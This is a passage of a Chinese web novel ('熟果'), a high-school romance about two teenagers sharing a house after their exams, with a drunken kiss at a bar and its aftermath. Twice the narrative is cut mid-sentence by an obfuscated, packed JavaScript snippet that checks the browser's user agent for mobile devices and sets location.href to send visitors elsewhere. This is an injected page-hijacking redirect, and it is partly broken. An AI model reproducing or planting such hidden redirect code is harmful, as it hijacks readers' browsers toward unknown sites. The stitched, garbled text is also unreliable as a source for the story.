《熟果》 1. 不熟 6月9日,晚九点半。 段槿把我的嘴唇给咬破了。 她喝醉酒了会乱亲人,以后不能让她''喝酒''(划掉)单独跟异性出去喝酒。 她好像很喜欢接吻,可能随便逮到个人就亲。 很危险。 ——《柯钧佑的记仇本》 两周前。 自习课的下课铃刚响起,班里大半的同学,齐刷刷地趴桌上开始睡觉。 高考倒计时即将进入个位数,段槿的考前焦虑症越来越严重。 在学习方面,她不算什么天赋型选手,面对不算擅长的科目,她需要花更多的时间去弥补差距。 这会儿,别人累趴了,她困,但还强撑着做题。 只是这道大题她已经卡了十分钟,脑子都快转冒烟了,依旧没有任何的解题思路,心烦意乱到她全然没察觉,秦澜已经转过身,并没精打采地靠在椅背上,看着她与难题抗衡。 盯了会儿题,秦澜开始犯迷糊,连打数个哈欠后,她快速将视线转移至段槿巴掌大小的脸上。 段槿右侧的头发被捋到耳后,齐眉的刘海没有完全遮挡住整个额头,刚好露出右侧的浅眉。 她生了一双狐狸眼,眼尾微微上勾,右眼下有颗泪痣,泪痣的下面紧挨着一颗痣。 秦澜闲来无事就喜欢粘着段槿,戳她眼下这两颗小痣。 要换做平时,她早就上手了,但现在,看到段槿微抿的嘴唇,估计是被难题折磨得有些崩溃。 秦澜安静地又盯了几秒,才开口:“小槿,高考结束后你打算干点什么啊?” 这似乎是所有高三生会思考的一个问题。 段槿咬着笔帽,认真看题,最后实在没辙,在题目的旁边写上备注:晚上找柯钧佑讲。 然后回答:“我想谈恋爱。” 秦澜一瞬间清醒过来:“!!你是有喜欢的男生了???” 段槿依旧没抬眼,啃着下一道难题:“不是,就单纯想谈恋爱。” “阿姨能同意吗?”秦澜几乎脱口而出。 话音落,她又感到疑惑:“那你找谁啊,择偶标准是什么?之前也没听你提过,你哥知道这事吗?” 接二连三的问题砸过来,段槿几乎没有过多思考,很直白的开口:“帅的,高的,有腹肌的。” 选择性的回答完问题。 秦澜一听,唇角止不住地抽了下,笑容很快挂在脸上:“其实我有个朋友——” ‘还挺符合你的择偶标准的’这话没能说出口,后门有人喊。 “段槿!老班找!” 闻言,段槿把试卷合上,踱步来到教室后门,正正好撞上从小卖部回来的仨人。 为首的穿着私服,美式复古风短袖,搭配adidas黑色条纹裤,宽松的版型慵懒感十足。 他后边跟着的俩人,一个美式前刺,另一个顺毛。 留美式前刺那男生很皮,叫谈修焱。他看到段槿要出教室,晃了晃手上的冰饮:“佑哥给你带了果汁,塞你桌肚里了。” 段槿没应这话,急着去办公室,只余光瞟了眼柯钧佑。 正是午后,太阳烈。 他逆着光走来,过长的刘海几乎贴到了眼睫上。他的双眸狭长,瞳仁是浅墨色的,微垂的眼中始终透着几分清冽。 往下,同样是右眼,他眼下的泪痣颜色要淡许多。再往下,他的唇色是冷调的粉,搭配优越的骨相,轮廓清晰的下颚线,给人一种冷峻的感觉,骨子里又透着痞劲。 段槿很快撇开视线,头也不回地朝着办公室走。 谈俢焱的手臂已经搭上柯钧佑的肩膀,看到人走得没了影,他突然想到了什么,半开玩笑道:“哎你说老班找小槿干嘛呢,该不会是发现你俩的恋情了吧。” 柯钧佑单手抄兜,冷眼瞥过去。 明明一句话没说,甚至连表情都没什么太大的变化,但谈俢焱却立马怂了。 他不再嬉皮笑脸:“我瞎说的,你别往心里去,咱学校还有谁不知道啊,你俩特不对付,我这不是想缓和一下你俩的关系吗。毕竟同个屋檐下,哪有绕道走的道理,你说对不对。” 边说着这话,他把冷饮抛给了秦澜,随后跟着那俩人来到教室后排的位置上。 此时小测的试卷已经由课代表发下来,就摊在课桌上,谈俢焱拿起来:“嚯哟,你这回考得不怎么样啊,说说,是不是因为失恋导致的。” 柯钧佑不太想搭理人,已经拉开椅子坐下。他慵懒地靠着椅背,慢悠悠地说:“你要不看看试卷上的名字?” 谈俢焱定睛一看,姓名那栏是三个奇丑无比的大字。 下一秒:“哎嘛,我的啊,那属于超常发挥了。” 说完这句,他反过身,看到自己桌上放着柯钧佑的试卷,不出意外是满分。 他递过去:“呐,你的。”递完试卷,他自言自语:“不知道小槿这次考得怎么样,题有点难呢。” - 等段槿从办公室回来,已经是下午第二节课打上课铃。 她和任课老师前后脚走进教室,刚在座位上坐下,准备把头发绑起来。一摸手腕,空的,又埋头在桌肚里翻找,也没有。 这会儿老师已经开始讲上午小测的试卷,并要求所有同学把错题的详细步骤抄五遍,放学前要检查。 段槿初步计算了一下,她要抄的内容不算少,没辙,她在便签本上写下两个字,随后撕下这一页,将纸张对折,递给旁边的同学。 她一句话没说,甚至连一个眼神都没给,这位同学已经拿着小纸条往后传了。 然后一个传一个,全程没有任何的交流,这张纸条传到了教室最后排,靠窗的位置上。 就看到柯钧佑从兜里掏出一根冰灰色电话线发圈,递给了前排的同学。 最后,这个发圈被段槿绑在了头发上。 熬完了两节课,任课老师刚离开教室,班里同学又倒了大片。 段槿抄完错题,刚拿着试卷准备起身,低磁的声音在头顶上方响起:“牛奶喝了。” 段槿没看他,只盯着他递过来的这盒牛奶,拿牛奶的手冷白,手指修长且骨节分明。 她面无表情地收回视线,把试卷折好:“你喝了吧,我不想喝。” 段槿烦透了,也不知道宁女士怎么想的,派柯钧佑来督促她喝牛奶,她是真的喝不来这种没有一丝甜味的牛奶。 面对这般无情的打发,柯钧佑并没有离开,甚至连递牛奶的手都没收回:“喝两口。” 段槿知道逃不掉,她急着去找老师问题,只能不情不愿地接过牛奶,敷衍的喝了两口。 也是这时,班里一个男同学喊道:“佑哥!老班说下节课放我们自由活动!咱去打球呗。” 谈俢焱嗖地站起身:“带我一个。”话音落,他看向一旁的顺毛男生杜覃泽:“阿泽,去不去。” 秦澜转过身,悠闲的边用梳子梳着披散在肩头的头发,忍不住吐槽:“你们还考不考大学了,一个个的,脑子里只有打球。” 吐槽完的下一秒,她举起拿梳子的手晃了晃:“不过,也带我一个吧。” 说着这话,她看到,被段槿嫌弃的,只喝了两口的牛奶已经回到了柯钧佑手里,并且他正咬着吸管,喝着这盒牛奶。 而段槿在上一秒,已经拿着试卷出了教室。 她眼睛眨巴了两下,注意到柯钧佑将喝空了的牛奶盒丢进了垃圾桶,然后若无其事地从教室后门走了。 谈俢焱抱着篮球凑上来,他知道秦澜要说什么,先一步开口:“我看到了,所以他俩真的没谈?” 秦澜和谈俢焱跟着杜覃泽往教室外走。 边走,秦澜说:“他们能谈的吧,他俩知道他们其实没有血缘关系吗?” 谈俢焱:“我觉得应该去提醒一下。” 前面的杜覃泽低头玩着手机,冷不丁来了句:“别提醒柯钧佑了,我觉得得提醒段槿。” 此话一出,秦澜和谈俢焱猛点头,看着对方,异口同声:“有道理。” - 段槿问完题,从老师办公室回来的时候,那几人已经去了篮球场。 她没打算跟过去,待在教室继续刷题。 闷头苦啃难题到放学铃敲响,众人吵吵嚷嚷地回来了。 今晚放学不用开班会,柯钧佑仨人回教室后,拿上并排摆放在黑板报旁,储物柜上的机车头盔,拎上书包,走人。 自从去年十月份柯钧佑成年后,拿到摩托车驾驶证的那一天起,他和段槿再也不一起上下学了。在学校,看不到两人同框,也就更加做实了他们不熟的传闻。 段槿没什么所谓,反倒觉得这样自在。 收拾好书包,在校门口坐上私家车时,正好赶上晚高峰,车在路上堵了快一个小时。 段槿到家的时候,柯钧佑正在厨房,不知道在忙什么。 段槿进了门就将敞开穿的校服外套脱去,随意搭在了沙发扶手上。 她边玩手机,不紧不慢地来到餐厅坐下。 刚坐下,柯钧佑端着两碗竹升面出来了。 他把其中一碗往桌上一搁,也不说什么,随她乐不乐意吃,已经在她对面坐下,自顾自吃了起来。 段槿原本捣鼓手机呢,被一股陌生的气味勾住了几秒。 抬眼就看到,柯钧佑已经洗过澡,他的头发有些湿漉漉的,刘海被他往后顺,发尾还滴着水。 而他脖颈右侧方,靠近锁骨的位置,那颗浅咖色的痣,因为被热水浸泡过的缘故,显得格外明显,周围的皮肤都透着粉。 很快,段槿看回手机屏幕。 此时界面停留在一款小游戏上,她最近排解压力的方式就是玩微信小程序里的游戏,每一轮游戏结束都有排名显示,为此她拉上群里几人都加入了游戏。 秦澜对这种游戏没兴趣,但也愿意陪着玩一玩,杜覃泽每回被艾特都装看不见。 至于柯钧佑,上个月的某一天,她在群里艾特了十几次这人,对方都没有任何的动静,最后她气不过,找了过去,得到的回复是:微信卸载了。 段槿不相信,柯钧佑就直接从兜里把手机掏出来,递她面前。等她输入完密码,进入App Store后发现微信真的卸了。 她也不多问原因,跟最捧场的谈俢焱比拼了起来。 玩了会儿小游戏,柯钧佑都已经吃掉了半碗面,段槿将手机平摊放在桌面,没锁屏,上面显示排名。 第一名:ukiava 第二名:谈恋爱 第三名:摆烂小澜 第四名:7zieo 第一名和第二名仅相差一分。 柯钧佑看到了,垂下眼,继续吃面。 段槿用手支着下巴,拿起筷子,刚搅和了一下快坨的面条,就再次被那股陌生的气味勾住,抬起了头。 她看向桌对面的柯钧佑:“你换沐浴露了?” 之所以这么问,是因为自从七岁那年,柯钧佑寄住到了段家后,他们用的洗发水、沐浴露、牙膏等等,都是同款,这些也都是由段槿的母亲宁女士来准备的。 但这回这个味道实在太特别,段槿一时间分辨不出来是什么水果的气味,清新中透了点甜滋滋。 然后就听到柯钧佑很淡地嗯了声。 段槿倒也没那么好奇,不再继续任何话题,一条腿曲着,踩在椅子上,边吃面边刷短视频。 其实只要家长不在家,段槿就挺随意的,完全没有乖乖女的样。 慢慢悠悠吃着面,段槿转发了一条感兴趣的视频给秦澜,随后去聊天框给对面发了一条语音。 “这条视频明天课间拍,你看看还有没有想拍的,一口气拍完得了,后半个月我要退网。” 说来也巧,段槿在短视频平台上火起来纯属偶然,是秦澜随手发了一张和她的合照,然后评论区就彻底沦陷了,全是求她开账号的,足足几万条。 段槿起初没当回事,开完账号发了一条手势舞的视频就下线了。 谁曾想,因为她极具特色的长相,这条视频爆了。 后来,她正式接触网络,在平台上收获了不少粉丝,随便拍的照片一经发出,很快就会被人用作头像。 在学校,也有不少女生会用她的自拍当头像。她们觉得她漂亮,但又不敢去认识她,总觉得她这人有点不好接近,气场足,给人的感觉过于冷淡。 再加上,她们深知,不管出于什么目的的接近,都像是想攀附段家。 这会儿听到段槿发的这条语音,柯钧佑再次掀起眼皮。 他的视线落在段槿右边眉毛后端的位置上,那里被她用修眉刀刻意俢断了一截。为了不被发现,她用眉笔把缺的那一截给补上了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537788|203859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过这会儿眉粉已经脱了一些。 柯钧佑什么都没说,起身,将碗筷放进洗碗机,随后上了楼。 等段槿磨磨蹭蹭吃完面,敲响走廊尽头的房门时,柯钧佑正在听国外的新闻。 他摘掉头戴式耳机,挂脖子上,打开房门就看到段槿一副找茬的样儿。 他微拧眉:“有事?” 段槿语气很淡,一本正经:“把你的沐浴露借我用用,很好闻,有点香过头了。” 见他没动作。 段槿再次开口:“或者,你把你的浴室让给我使用半小时?” 话音落,不到三十秒,柯钧佑将一整罐芭乐味的沐浴露塞进了段槿的手心,半句话没说,重重地关上了房门。 而这罐沐浴露就这样成了段槿的私有物。 接下来的小半个月,俩人的交流依旧少,仅仅停留在,有弄不懂的题,段槿会去找柯钧佑讲解。 熬过了最后的两个礼拜。 高考结束的那天,五人群炸开了锅。 谈俢焱最闹腾,发了一条语音:“家人们!今晚去我朋友开的清吧玩吗?咱们不醉不归啊!” 秦澜绝对是最捧场的,也发了一条特别有激情的语音:“好哇好哇!我已经准备好了!我要大喝特喝!” 这会儿,段槿刚从考场走出来,拿到手机的第一时间,她点进了iMessage,给备注:K的人发了一条消息。 【记答案没?】 发完这条消息,她才点进微信群聊。 刚听完上面俩人的语音,杜覃泽的语音弹了出来。 微信自动播放,传出杜覃泽的声音。 他的说话声不算大,像是按住语音键后转身往后找人。问了对方一句:去不去? 那人嗯了声。 他才将手机拿到唇边,说:“他说去。” 段槿没发语音,她所处的位置很吵,只能边快步下楼,在群里发了一条消息。 【ukiava:地址发来。】 这条消息刚发送出去,秦澜的语音随即弹出。 “都考完了,柯总什么时候把微信下回来啊,公主有事没事就拉着我们仨玩小程序里的游戏,也让她烦烦你啊。” ‘公主’这个称呼的出现,是在几人念小学那会儿。不过在学校,段槿不想他们这么叫自己,所以都是叫小槿。 看着秦澜这条语音下面,俩男的跟的一串又一串的+1。 段槿将手机锁屏,没再关注群消息,和秦澜在校门口碰面。俩人一块儿去了趟商场,拿下了心心念念的包包,顺带又买了几条项链。 到约定地点时,仨男的已经坐在卡座里。 柯钧佑旁边还空出一个位置,另一个空位在谈俢焱和杜覃泽中间。 段槿和秦澜很自然地分开坐下。 谈俢焱指了指桌角:“扫码点。” 俩人饿得前胸贴后背,把店里的所有热食都点了一遍。 二十分钟,菜上齐。 段槿和秦澜边吃,边沟通今晚发的共创视频该怎么剪辑。 另外仨人则在聊暑假怎么过,是出国玩儿还是就待国内,如果待国内的话去哪几个城市玩。 正闲聊着,柯钧佑余光瞟到段槿的表情皱成一团,他伸手拿过她咬过一口的食物,漫不经心地吃掉。 看到这一幕,秦澜有些纳闷,也懒得管其他,直言:“你俩真的没谈吗?” 段槿:“他不是我喜欢的类型。” 柯钧佑:“对谈恋爱没兴趣。” 几乎同一时间开口。 话音落,段槿的脸上没有一丝波澜:“说了不熟。” 谈俢焱有些摆烂了,故意说:“不熟你俩住一块儿?” 段槿很正经:“不熟不能同居吗?” “……” 谈俢焱和秦澜对视一眼,又不约而同地看向正自顾自喝着酒的杜覃泽。 杜覃泽耸耸肩。 三人什么都没说。 之后的一个多小时,几人边喝酒,边玩酒桌游戏。 开始新一轮游戏前,柯钧佑接到一通电话,出了店。 段槿瞟到了他的手机屏幕,如果没有看错的话,是柯钧佑妈妈打来的。 她用她已经混沌不堪的脑子算了算,纽约这会儿应该是早上八点多。一大早就来电话,估计是要紧事,可能跟高考有关。 段槿再没脑子想其他,在桌面上趴了会儿。 没几分钟,她突然噌地一下,站了起来,然后摇摇晃晃就往外走。 秦澜想拉住她,捞了个空。 谈俢焱摇晃着骰盒:“你干嘛去啊?醉成这样别摔着了。” 秦澜有些着急:“你是不是要去吐啊,我陪你吧。”说着就站起了身。 段槿摆摆手,说话慢了半拍:“……我出去透口气,里面太闷。” 杜覃泽一句话没有,给她让了道,只低头在手机上编辑着消息。 与此同时的另一边。 巷子深处,柯钧佑站在暖色调的路灯下,他一手举着手机,听筒贴在耳侧,电话那头的女人用粤语掺着英语说着什么。 柯钧佑没插话,修长的指间夹着一根燃了半截的烟。 说到最后,他只简单应了声。将电话挂断后,手机上方弹出一条微信消息。 刚转头,一团黑影就已经扑了上来。 被猝不及防的抱住,柯钧佑整个人僵在了原地。 他闻到段槿身上浓烈的酒精味,混杂着芭乐沐浴露的淡淡果香。只是都不给他任何反应的机会,下一秒,他察觉到有一只手正在他的腹部摸索。 柯钧佑的表情瞬间变得难看,嗓音带着几分斥责:“手。别乱摸。” 段槿跟没听着似的,隔着布料一顿瞎摸。 柯钧佑再次开口:“你说的,我俩不熟。” 段槿的头耷拉着,双眸略显呆木,眼睛些许迷离,似是覆着一层水雾。 柯钧佑想推开她,但耐不住她整个人跟沾了胶水似的,紧紧粘上来就撒不开了。 他顿了顿,面色更显冷峻。 这会儿,段槿已经艰难地仰起头,她的脚像踩在棉花上似的,轻飘飘的。或许是醉酒的缘故,她完全失去了自控力。 寻到柯钧佑过长刘海下的眼睛后,她往前凑了凑:“……哥哥,亲个嘴不就熟了?” 2. 断片 6月10日。 她喝醉酒会断片。 很危险。 ——《柯钧佑的记仇本》 段槿的速度极快,柯钧佑甚至都没来得及将人推开,她的脸就已经逼近。 不知道是醉酒,彻底失去自控力的原因,还是嫌某人话太多,太吵,她没有一丝犹豫,凑上前,堵住了柯钧佑的嘴唇。 也就这么一瞬间,柯钧佑的瞳孔猛烈收缩,呼吸跟着变得沉重。 他诧异,段槿的嘴唇明明柔软,亲吻的力道却又重又野。 好似不打算草草结束,她的一只手已经稳稳地撑在了他的小臂上。 柯钧佑被堵在了墙角,段槿身上的味道霸道地袭来,他就这样被她带着浓烈酒精,以及果香的滚烫气息缠着。 他眼睫微颤,感受到段槿正生涩地摩挲着自己的唇瓣。 两人的呼吸很乱,僵在原地好一阵。 柯钧佑想将人推开,刚有动作,段槿就不乐意了,没什么表情的脸上多出一丝不悦,眉心微微蹙起。 紧接着,一点防备没有的,段槿张嘴,用力地咬住了柯钧佑的唇。 她下嘴没轻没重,咬住就不放了。 这会儿手倒是老实了许多,原本乱摸的那只手,也只是揪住柯钧佑的衣摆,不让人退出去。 不知道咬了多久,直到她咬得有些累了,不自觉地轻轻地吮了一口。 然后整个人就蔫吧了,一头栽进柯钧佑的怀里,嘀咕一句:“你话好多。烦人。” 柯钧佑一脸不可思议的看着烂醉如泥的段槿,迟迟没有开口。 好一阵,他舔了下唇瓣,尝到了一丝铁锈的味道,略微带点甜。 此刻,他还保持着环抱的动作,垂眸盯着段槿的头顶,声音很哑:“我说什么了?” 无人作答。 柯钧佑脸上挂起明显的不悦,拍她后背,试图把人叫醒:“段槿。” 段槿依旧没有任何的反应。 柯钧佑有些烦闷,杵在原地又过了好半天。 也是这时,手机上弹出一条微信消息。他单手环着她,另一只手解锁手机。 随着咔嚓一声响,屏幕解锁,手机界面正停留在与7zieo的聊天框内。 几分钟前,对面发了一条消息。 【7zieo:她出去了,醉得不轻。】 刚刚弹出的消息,也来自他。 【7zieo:要帮忙吗?】 柯钧佑打字。 【Pidrij:你家司机是不是在附近?借我。】 柯钧佑刚敲完最后一个字,点击发送键,怀里的人动了一下,像是想挣脱,但揪住衣摆的手却又没有撒开。 迷迷糊糊间,脑袋还在他怀里蹭了几下,段槿说:“你叫我干嘛?” 她的声音很闷,头都没抬起来,但其实她是想抬起来的,就是不知道为什么,脑袋重到像是被一块巨石给压制住了,叫人无法动弹。 而柯钧佑在听到这句有些莫名其妙的话后,实在拿她没辙,没想过她酒品会这么差。这十多分钟,俩人就没有在一个频道对上过一句话。 完全属于各说各的。 柯钧佑的眉心蹙得更厉害:“段槿,你真醉假醉?” 一秒。 两秒。 三秒。 呐,又没声了。 来不及找人麻烦,杜覃泽回过来一条消息。 柯钧佑瞟了一眼。 【7zieo:车停在店门口。】 柯钧佑没再回复,将手机锁屏,往裤子口袋里塞。 正要带段槿离开这里,她突然艰难地抬起头,盯着人眼睛:“好香。” 柯钧佑满脸不解,她今晚做了太多莫名其妙的事儿,简直乱来。 他不打算理她,段槿又开口,认真说:“你好香。” 柯钧佑有些生气了,再次叫她全名:“段槿。” “别让我抓住你的把柄。” 段槿没有回答他的问题,只看着他,非常认真的看着他,似乎在用她混沌不堪的脑子,思考他这句话的意思,也可能,她还停留在上一个问题上。 所以他突然叫她名字干什么? 柯钧佑没有功夫陪她在这里玩游戏,把人推开,握住她的手臂,强行将人拽走。 巷子里灯光略显昏暗,等出了狭窄的小巷,亮度过高的路灯着实刺眼,段槿一时间没法适应这样的强光,下意识抬手遮挡住眼睛。 而她的另一只手,还在柯钧佑的手里。 他掌心好宽大,也烫,灼得段槿想甩开,但她尝试了一下,发现压根儿甩不掉。柯钧佑的力气好大,也凶。 所以他为什么莫名其妙发脾气,段槿无法理解,也没有意识去刻意思考这个问题。 她脸上情绪很淡,几乎看不出来她的不悦,就被柯钧佑拽到了马路边。 柯钧佑已经找到杜家的车,刚拉开后座的车门,将人粗暴的塞进车里。 段槿原本闭着的眼睛,突然睁开,有些防备的看着他:“你是谁,别碰我。” 柯钧佑没想跟她计较,也来不及计较,因为那仨人已经晃晃悠悠出了店,正朝着这边来。 柯钧佑想赶紧走人,但挡不住谈俢焱反应迅速,瞧见人要走,他噌噌噌地就粘了上来。 只是想说的话到了嘴边,却硬生生被柯钧佑鲜红的,染着一丝血珠的嘴唇吸引了全部的注意力。 这下好了,想说的话忘了个干净,他特别疑惑的开口:“欸佑哥,你嘴唇怎么破了啊。”说着,他还往上凑凑,想看得更清楚一点。 而一旁,原本都喝晕乎正打瞌睡的秦澜,在听到这句话后秒清醒,也好奇地往前凑。 刚凑了凑,边上的杜覃泽轻咳了一声,紧接着给她使了个眼色。 秦澜接收迅速,一把将一脸疑惑的谈俢焱拉开:“哎呀你烦不烦呐,快快快,送我回去,再磨蹭,我吐你身上了啊。”说着,就做出呕吐的动作。 谈俢焱以为秦澜真要吐,吓得不清,特矛盾的边扶住她,怕她摔倒,身体却老实地退到一旁,以免被吐一身。 他说着:“姑奶奶啊,你别吓我行不行,我送您,我送您还不行嘛。”话音落,谈俢焱麻溜扶着秦澜上了停在不远处的一辆黑色小轿车。 两人前脚刚走,柯钧佑和杜覃泽对上一眼。 杜覃泽瞟到段槿已经彻底倒在了后座,他抬了抬下巴示意:“走了。” 柯钧佑没应,将后座车门关上,坐上了副驾。 一个小时后,小车开进檀郊公馆,停在段家花园内。 柯钧佑下车时,余光瞟到原管家正小跑过来。 他到跟前时,后座车门已经被柯钧佑拉开,而段槿正蜷缩着身体,睡得特安稳。 原管家看愣了两秒,随后试探性地询问:“柯少爷,需要我搭把手吗?” 柯钧佑面上情绪不明:“不用,你回去睡觉。” “当什么都没发生。” 原管家年纪不算大,四十出头,懂得多,会来事。 听到柯钧佑这句话的下一秒,他就已经转身:“方医生的确说了,我最近的梦游症有些严重。”边说着,他摇摇晃晃地往侧院走,继续自言自语:“得听医生的话,好好吃药才是……” 直到原管家的声音渐渐消失在耳畔,柯钧佑才弯腰钻进车里,单腿跪在段槿身侧,把人拉起来:“段槿,别睡了。” 段槿眉心不着痕迹地皱了下,倒也没有别的反应,只是还没清醒,也不打算醒过来。 导致柯钧佑一松手,她就往后倒去。 柯钧佑没辙,只能先退出后座,绕到另一侧,打开车门,推了她一把,随后一手撑着车门,垂眸看着像是在耍赖皮的段槿:“自己出来。” 段槿被他推那一下,人更懵了,不情不愿又慢悠悠地坐起来,回过身看着他。 喝过酒,她的眼尾微微泛起红,双眸依旧迷离。 好一阵才问:“为什么?” 柯钧佑冷着张脸:“你不出来我怎么抱你?” 段槿咬了下下嘴唇,半天:“……好。” 她动作慢,脚踩地刚要站起来,就因身体发软,险些跌倒。 柯钧佑实在看不下去,直接将人打横抱起,反手关上车门,朝着院子里走去。 被人这样抱着,段槿又开始犯困,头晕到摸不着北,原本双手还环着柯钧佑的脖子呢,走了没几步身体就软得不行了,手也没了劲。 柯钧佑察觉到,把人颠起来,没看人:“抱紧,摔了我不负责。” 段槿没应这句,手已经老老实实搂紧了些。 她靠在他怀里,好一阵,等他迈进了电梯,才迷迷糊糊地:“……渴。” 柯钧佑无声叹了口气,把人抱到卧室后往床上一丢。 原本就晕头转向,被人这样丢下,虽然坠到了柔软的床垫上,但段槿依旧不爽。只是她现在没有功夫去计较,在柯钧佑转身走人的同时,她抓住被子往身上盖。 柯钧佑没管她,已经离开房间去了一楼。 再回来时,他手上端着一杯冲泡好的蜂蜜水。 他把蜂蜜水放到床头柜上,看着熟睡的段槿,力道不算轻地拍了两下她的手臂。 “喝。”说完,他再次转身。 刚迈出两步,段槿艰难地从床上爬起来,端起杯子,喝了一小口:“……好甜。” 柯钧佑没回头,撂一句:“不喜欢放那。” 人话音刚落,段槿又说:“好喝的。”点评完,她喝了几大口。 这会儿柯钧佑已经踱步离开卧室。 几分钟后,他又再次折返了回来。 就看到床头柜上放着一只空杯,而段槿已经钻进被子里,把脑袋都蒙住了。 他径直走进了浴室,从柜子里拿了一袋漱口水出来。边拆,他踱到床边,手精准地探入被子里,握住了段槿的手腕,将人拽起来。 漱口水递到她面前:“漱口。” 段槿很烦,但一句多余的话没说,接住了漱口水。 将漱口水倒进嘴里,含住,上下牙稍张,让液体穿过牙间隙。然后鼓动脸颊和嘴唇,反复咕噜了几下。 柯钧佑一手拿走空掉的装漱口水的小袋,另一只手将呕吐袋拿到她嘴前。 段槿全程闭着眼睛,也不吐,一直咕噜。 直到柯钧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537789|203859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佑说:“吐。” 段槿依旧没睁眼,说吐就吐。 吐完,一张柔软的纸巾便覆在她的嘴唇上,对方的动作很是粗暴,但段槿似乎并不在意。将嘴唇上的水渍擦拭干净后,她倒下秒睡着。 第二天,段槿睡到中午才醒。 清醒过来的一瞬间,她只觉得头部隐隐作痛,尤其是太阳穴的位置,像是被重锤击打过一样。她强撑着从床上爬起来,去浴室放洗澡水。 舒舒服服泡了个澡,段槿悠闲地边刷手机,乘坐电梯下楼。 等电梯停到一层,她刚从电梯里出来,就注意到,柯钧佑这会儿正坐在客厅沙发上看电影。看的是一部国外的悬疑片,依旧没有中文字幕。 她边滑手机屏幕,往客厅走,很随意的问了句:“妈咪是今晚回来吗?”来到沙发前,她再次掀起眼皮看了柯钧佑一眼。 也就这么一眼,她察觉到了不对劲,不等他说话,立马问:“你嘴唇怎么破了?你谈恋爱了?” 闻言,柯钧佑瞥过去一眼,周身气压极低,冷笑着反问:“你问我?” 段槿:? 柯钧佑已经撇开视线,看回电视屏幕:“宁女士不是给你打过电话了吗?” 哦这事啊,他要不说,段槿还真给忘了。宁女士的确来过电话,电话里提到了回来的时间。 她没再继续这个话题,盘起一条腿,在另一侧的沙发坐了下来。 坐下不过两秒,她一本正经的说:“你要是谈恋爱了,亲完嘴记得告诉我。” 柯钧佑眉心蹙起,扭头看向她:“告诉你做什么?” 段槿很认真:“我想知道亲嘴是什么感觉。”说完这话,她就低头点进了短视频软件,看到之前穿校服在教室拍的那条跳舞视频火了。 这条视频是在教室后边,黑板报那拍的。当时是第二节大课间,任课老师拖了十分钟堂。秦澜实在等不及,在老师讲题时就偷偷摸摸掏出口红在那里抹。 等老师一走,她麻溜拉起段槿去了教室后边。 原本谈俢焱正想法子骗柯钧佑和杜覃泽陪自己一块儿去小卖部来着,看到段槿和秦澜要拍视频,他不走了,赖在座位上看着她俩。 秦澜边脱校服外套,跟谈俢焱说:“你别凑热闹了行吗,等会儿卡壳了找你麻烦啊。” 段槿倒是没什么所谓,校服外套还穿着,只把拉链拉了下来。她里面穿的是私服,一件白色无logo短袖,裤子穿的是adidas的条纹裤。 她将手机架好,顺了两下长发,跟秦澜说:“别管他们。”随后把校服外套的袖口推到了小臂,靠近手肘的位置。 秦澜倒也不是害羞,就是谈俢焱总是嬉皮笑脸的,她不止一次抱怨,说他就不能像柯钧佑和杜覃泽一样,看到漂亮姑娘跳舞完全不心动,全程无感,并且非必要,不会多留意一眼,吗! 当时谈俢焱只瞥了眼,正面无表情干着自己的事儿的俩人,说:你被他们骗了,他俩绝对在装!太狗了! 这会儿谈俢焱死皮赖脸不走,秦澜也没辙,乖乖跟段槿录视频。 这条视频的舞蹈动作对于两人来说不算难,搭配的BGM是最近网络上很火的某首粤语歌的慢速DJ版。 随着录制倒计时开始,段槿将披散在右侧的头发甩到了耳后。 音乐声响起的瞬间,两人整齐默契地将左手往前推,随后右手握拳向前打,腿向前迈一步。 双手向前推四下,身体跟着振四下;双手交叉向下划,双手比出指的动作,往旁边点两下;右手做出擦嘴的动作,随后再次朝旁边点两下,身体跟着振两下; 双手划一圈,双手捶胯四次,配合点胯的动作;双手交替捶胯三次,配合丁页胯;右手比指的动作,左手握拳画圈,摆胯,再换一个手再来一次,最后双手打开扭两下胯。 时隔两个礼拜再看这条视频,段槿垂在沙发边的腿,有一搭没一搭地晃着,打节拍。 她边听这首节奏感强烈的bgm,边翻看这条视频的评论区。 正翻着,手机上方弹出一条微信群消息,是杜覃泽发来的。 点进去。 【7zieo:高尔夫,谁约?】 【摆烂小澜:几点?我要去趟美容院,昨天喝完酒今天皮肤状态超差的,我真服了!】 【谈恋爱:各位家人们,我刷到一家新开的美式热狗店,网上评价爆高,据说要排队俩小时才能吃上,我花重金找了个代排,到时候带去高尔夫球馆让你们尝尝。】 【Pidrij:养伤,不去。】 看到这条消息的下一秒,段槿疑惑地在手机屏幕上敲敲打打。 【ukiava:你养什么伤?】 【Pidrij:嘴唇破了。】 【ukiava:所以到底是怎么破的?】 段槿还在等着柯钧佑回消息,但他已经将手机锁屏,丢回了茶几。 因为这一声响,段槿抬眼看了过去。 话到嘴边了,群里再次有消息弹出,是杜覃泽发的一句:谁知道呢。 另外俩人秒跟。 【谈恋爱:谁知道呢。】 【摆烂小澜:谁知道呢。】 3. date 段槿盯着聊天框内的消息看了许久,很明显没搞明白他们在说什么,她也不打算去理解。 只是问了一嘴:“你真不去?” “不去。” 这个话题就此结束,段槿没有其他的反应,已经看回视频的评论区,手指刚触到屏幕。 “嘴唇破了,很疼。” “……??” 因为这句话,段槿再次掀起眼皮,这会儿柯钧佑已经把沙发另一侧的遥控器捞了过来,按下左键,进度条重新来到了剧情至关重要的位置。 